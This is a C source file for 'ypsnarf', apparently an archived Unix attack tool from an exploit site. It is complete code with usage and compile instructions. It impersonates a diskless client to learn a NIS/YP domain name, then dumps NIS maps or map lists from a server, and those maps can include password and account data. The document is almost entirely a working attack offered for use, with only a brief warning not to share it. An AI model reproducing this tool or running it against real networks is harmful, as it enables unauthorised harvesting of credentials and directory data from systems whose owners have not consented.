home *** CD-ROM | disk | FTP | other *** search
- /*
- * THIS PROGRAM EXERCISES SECURITY HOLES THAT, WHILE GENERALLY KNOWN IN
- * THE UNIX SECURITY COMMUNITY, ARE NEVERTHELESS STILL SENSITIVE SINCE
- * IT REQUIRES SOME BRAINS TO TAKE ADVANTAGE OF THEM. PLEASE DO NOT
- * REDISTRIBUTE THIS PROGRAM TO ANYONE YOU DO NOT TRUST COMPLETELY.
- *
- * ypsnarf - exercise security holes in yp/nis.
- *
- * Based on code from Dan Farmer (zen@death.corp.sun.com) and Casper Dik
- * (casper@fwi.uva.nl).
- *
- * Usage:
- * ypsnarf server client
- * - to obtain the yp domain name
- * ypsnarf server domain mapname
- * - to obtain a copy of a yp map
- * ypsnarf server domain maplist
- * - to obtain a list of yp maps
- *
- * In the first case, we lie and pretend to be the host "client", and send
- * a BOOTPARAMPROC_WHOAMI request to the host "server". Note that for this
- * to work, "server" must be running rpc.bootparamd, and "client" must be a
- * diskless client of (well, it must boot from) "server".
- *
- * In the second case, we send a YPPROC_DOMAIN request to the host "server",
- * asking if it serves domain "domain". If so, we send YPPROC_FIRST and
- * YPPROC_NEXT requests (just like "ypcat") to obtain a copy of the yp map
- * "mapname". Note that you must specify the full yp map name, you cannot
- * use the shorthand names provided by "ypcat".
- *
- * In the third case, the special map name "maplist" tells ypsnarf to send
- * a YPPROC_MAPLIST request to the server and get the list of maps in domain
- * "domain", instead of getting the contents of a map. If the server has a
- * map called "maplist" you can't get it. Oh well.
- *
- * Since the callrpc() routine does not make any provision for timeouts, we
- * artificially impose a timeout of YPSNARF_TIMEOUT1 seconds during the
- * initial requests, and YPSNARF_TIMEOUT2 seconds during a map transfer.
- *
- * This program uses UDP packets, which means there's a chance that things
- * will get dropped on the floor; it's not a reliable stream like TCP. In
- * practice though, this doesn't seem to be a problem.
- *
- * To compile:
- * cc -o ypsnarf ypsnarf.c -lrpcsvc
- *
- */
- #include <sys/param.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <arpa/inet.h>
- #include <rpc/rpc.h>
- #include <rpcsvc/bootparam.h>
- #include <rpcsvc/yp_prot.h>
- #include <rpc/pmap_clnt.h>
- #include <sys/time.h>
- #include <signal.h>
- #include <string.h>
- #include <netdb.h>
- #include <stdio.h>
-
- #define BOOTPARAM_MAXDOMAINLEN 32 /* from rpc.bootparamd */
- #define YPSNARF_TIMEOUT1 15 /* timeout for initial request */
- #define YPSNARF_TIMEOUT2 30 /* timeout during map transfer */
-
- char *pname; /* program name */
-
- main(argc, argv)
- char **argv;
- int argc;
- {
- char *server, *client, *domain, *mapname;
-
- pname = *argv;
-
- /*
- * Process arguments. This is less than robust, but then
- * hey, you're supposed to know what you're doing.
- */
- switch (argc)
- {
- case 3:
- server = *++argv;
- client = *++argv;
-
- get_yp_domain(server, client);
- exit(0);
- case 4:
- server = *++argv;
- domain = *++argv;
- mapname = *++argv;
-
- if (strcmp(mapname, "maplist") == 0)
- get_yp_maplist(server, domain);
- else
- get_yp_map(server, domain, mapname);
- exit(0);
- default:
- fprintf(stderr, "Usage: %s server client -", pname);
- fprintf(stderr, "to obtain yp domain name\n");
- fprintf(stderr, " %s server domain mapname -", pname);
- fprintf(stderr, "to obtain contents of yp map\n");
- exit(1);
- }
- }
-
- /*
- * get_yp_domain - figure out the yp domain used between server and client.
- */
- get_yp_domain(server, client)
- char *server, *client;
- {
- long hostip;
- struct hostent *hp;
- bp_whoami_arg w_arg;
- bp_whoami_res w_res;
- extern void timeout();
- enum clnt_stat errcode;
-
- /*
- * Just a sanity check, here.
- */
- if ((hp = gethostbyname(server)) == NULL)
- {
- fprintf(stderr, "%s: %s: unknown host.\n", pname, server);
- exit(1);
- }
-
- /*
- * Allow the client to be either an internet address or a
- * host name. Copy in the internet address.
- */
- if ((hostip = inet_addr(client)) == -1)
- {
- if ((hp = gethostbyname(client)) == NULL)
- {
- fprintf(stderr, "%s: %s: unknown host.\n", pname,
- client);
- exit(1);
- }
-
- bcopy(hp->h_addr_list[0],
- (caddr_t) &w_arg.client_address.bp_address.ip_addr,
- hp->h_length);
- }
- else
- {
- bcopy((caddr_t) &hostip,
- (caddr_t) &w_arg.client_address.bp_address.ip_addr,
- sizeof(ip_addr_t));
- }
-
- w_arg.client_address.address_type = IP_ADDR_TYPE;
- bzero((caddr_t) &w_res, sizeof(bp_whoami_res));
-
- /*
- * Send a BOOTPARAMPROC_WHOAMI request to the server. This will
- * give us the yp domain in the response, IFF client boots from
- * the server.
- */
- signal(SIGALRM, timeout);
- alarm(YPSNARF_TIMEOUT1);
-
- errcode = callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS,
- BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &w_arg,
- xdr_bp_whoami_res, &w_res);
-
- alarm(0);
-
- if (errcode != RPC_SUCCESS)
- print_rpc_err(errcode);
-
- /*
- * Print the domain name.
- */
- printf("%.*s", BOOTPARAM_MAXDOMAINLEN, w_res.domain_name);
-
- /*
- * The maximum domain name length is 255 characters, but the
- * rpc.bootparamd program truncates anything over 32 chars.
- */
- if (strlen(w_res.domain_name) >= BOOTPARAM_MAXDOMAINLEN)
- printf(" (truncated?)");
-
- /*
- * Put out the client name, if they didn't know it.
- */
- if (hostip != -1)
- printf(" (client name = %s)", w_res.client_name);
-
- putchar('\n');
- }
-
- /*
- * get_yp_map - get the yp map "mapname" from yp domain "domain" from server.
- */
- get_yp_map(server, domain, mapname)
- char *server, *domain, *mapname;
- {
- char *reqp;
- bool_t yesno;
- u_long calltype;
- bool (*xdr_proc)();
- extern void timeout();
- enum clnt_stat errcode;
- struct ypreq_key keyreq;
- struct ypreq_nokey nokeyreq;
- struct ypresp_key_val answer;
-
- /*
- * This code isn't needed; the next call will give the same
- * error message if there's no yp server there.
- */
- #ifdef not_necessary
- /*
- * "Ping" the yp server and see if it's there.
- */
- signal(SIGALRM, timeout);
- alarm(YPSNARF_TIMEOUT1);
-
- errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
- xdr_void, 0);
-
- alarm(0);
-
- if (errcode != RPC_SUCCESS)
- print_rpc_err(errcode);
- #endif
-
- /*
- * Figure out whether server serves the yp domain we want.
- */
- signal(SIGALRM, timeout);
- alarm(YPSNARF_TIMEOUT1);
-
- errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
- xdr_wrapstring, (caddr_t) &domain, xdr_bool,
- (caddr_t) &yesno);
-
- alarm(0);
-
- if (errcode != RPC_SUCCESS)
- print_rpc_err(errcode);
-
- /*
- * Nope...
- */
- if (yesno == FALSE)
- {
- fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
- server, domain);
- exit(1);
- }
-
- /*
- * Now we just read entry after entry... The first entry we
- * get with a nokey request.
- */
- keyreq.domain = nokeyreq.domain = domain;
- keyreq.map = nokeyreq.map = mapname;
- reqp = (caddr_t) &nokeyreq;
- keyreq.keydat.dptr = NULL;
-
- answer.status = TRUE;
- calltype = YPPROC_FIRST;
- xdr_proc = xdr_ypreq_nokey;
-
- while (answer.status == TRUE)
- {
- bzero((caddr_t) &answer, sizeof(struct ypresp_key_val));
-
- signal(SIGALRM, timeout);
- alarm(YPSNARF_TIMEOUT2);
-
- errcode = callrpc(server, YPPROG, YPVERS, calltype, xdr_proc,
- reqp, xdr_ypresp_key_val, &answer);
-
- alarm(0);
-
- if (errcode != RPC_SUCCESS)
- print_rpc_err(errcode);
-
- /*
- * Got something; print it.
- [2000]*/
- if (answer.status == TRUE)
- {
- printf("%.*s\n", answer.valdat.dsize,
- answer.valdat.dptr);
- }
-
- /*
- * Now we're requesting the next item, so have to
- * send back the current key.
- [2000]*/
- calltype = YPPROC_NEXT;
- reqp = (caddr_t) &keyreq;
- xdr_proc = xdr_ypreq_key;
-
- if (keyreq.keydat.dptr)
- free(keyreq.keydat.dptr);
-
- keyreq.keydat = answer.keydat;
-
- if (answer.valdat.dptr)
- free(answer.valdat.dptr);
- }
- }
-
- /*
- * get_yp_maplist - get the yp map list for yp domain "domain" from server.
- */
- get_yp_maplist(server, domain)
- char *server, *domain;
- {
- bool_t yesno;
- extern void timeout();
- struct ypmaplist *mpl;
- enum clnt_stat errcode;
- struct ypresp_maplist maplist;
-
- /*
- * This code isn't needed; the next call will give the same
- * error message if there's no yp server there.
- */
- #ifdef not_necessary
- /*
- * "Ping" the yp server and see if it's there.
- */
- signal(SIGALRM, timeout);
- alarm(YPSNARF_TIMEOUT1);
-
- errcode = callrpc(host, YPPROG, YPVERS, YPPROC_NULL, xdr_void, 0,
- xdr_void, 0);
-
- alarm(0);
-
- if (errcode != RPC_SUCCESS)
- print_rpc_err(errcode);
- #endif
-
- /*
- * Figure out whether server serves the yp domain we want.
- */
- signal(SIGALRM, timeout);
- alarm(YPSNARF_TIMEOUT1);
-
- errcode = callrpc(server, YPPROG, YPVERS, YPPROC_DOMAIN,
- xdr_wrapstring, (caddr_t) &domain, xdr_bool,
- (caddr_t) &yesno);
-
- alarm(0);
-
- if (errcode != RPC_SUCCESS)
- print_rpc_err(errcode);
-
- /*
- * Nope...
- */
- if (yesno == FALSE)
- {
- fprintf(stderr, "%s: %s does not serve domain %s.\n", pname,
- server, domain);
- exit(1);
- }
-
- maplist.list = (struct ypmaplist *) NULL;
-
- /*
- * Now ask for the list.
- */
- signal(SIGALRM, timeout);
- alarm(YPSNARF_TIMEOUT1);
-
- errcode = callrpc(server, YPPROG, YPVERS, YPPROC_MAPLIST,
- xdr_wrapstring, (caddr_t) &domain,
- xdr_ypresp_maplist, &maplist);
-
- alarm(0);
-
- if (errcode != RPC_SUCCESS)
- print_rpc_err(errcode);
-
- if (maplist.status != YP_TRUE)
- {
- fprintf(stderr, "%s: cannot get map list: %s\n", pname,
- yperr_string(ypprot_err(maplist.status)));
- exit(1);
- }
-
- /*
- * Print out the list.
- */
- for (mpl = maplist.list; mpl != NULL; mpl = mpl->ypml_next)
- printf("%s\n", mpl->ypml_name);
- }
-
- /*
- * print_rpc_err - print an rpc error and exit.
- */
- print_rpc_err(errcode)
- enum clnt_stat errcode;
- {
- fprintf(stderr, "%s: %s\n", pname, clnt_sperrno(errcode));
- exit(1);
- }
-
- /*
- * timeout - print a timeout and exit.
- */
- void timeout()
- {
- fprintf(stderr, "%s: RPC request (callrpc) timed out.\n", pname);
- exit(1);
- }
- /* www.hack.co.za [2000]*/